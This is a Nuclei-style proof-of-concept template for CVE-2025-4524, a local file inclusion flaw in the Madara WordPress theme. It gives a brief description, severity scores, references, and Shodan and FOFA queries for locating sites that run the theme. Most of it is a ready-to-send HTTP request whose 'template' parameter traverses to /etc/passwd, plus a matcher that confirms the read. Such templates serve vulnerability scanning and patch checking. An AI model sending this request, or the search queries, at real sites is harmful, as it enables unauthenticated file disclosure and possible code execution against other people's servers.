Madara WordPress theme <= 2.2.2 contains a local file inclusion vulnerability caused by improper sanitization of the 'template' parameter, letting unauthenticated attackers execute arbitrary files on the server, exploit requires crafted request.
PoC
id: CVE-2025-4524
info:
name: WordPress Madara Theme < 2.2.2.1 - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
Madara WordPress theme <= 2.2.2 contains a local file inclusion vulnerability caused by improper sanitization of the 'template' parameter, letting unauthenticated attackers execute arbitrary files on the server, exploit requires crafted request.
impact: |
Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.
remediation: |
Update to the latest version beyond 2.2.2.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/a3ee01da-218a-421d-8f9c-1dc6c056ef74
- https://github.com/ptrstr/CVE-2025-4524
- https://nvd.nist.gov/vuln/detail/CVE-2025-4524
- https://cxsecurity.com/issue/WLB-2026040012
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2025-4524
cwe-id: CWE-22
epss-score: 0.10373
epss-percentile: 0.95481
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/themes/madara/"
shodan-query: http.html:"/wp-content/themes/madara/"
tags: cve,cve2025,wordpress,wp-theme,madara,lfi,unauth
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars[orderby]=meta_value_num&vars[paged]=1&vars[posts_per_page]=16&vars[post_type]=wp-manga&vars[post_status]=publish
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100d929494507617dfb5959e4dd0b5cf5da0f4736db7105ee0fc7bae743212c7bb1022071bcfba2d826c996a540dd42f7ee30fbc1cd4679cf69425ff48191af2230f062:922c64590222798bb761d5b6d8e72950
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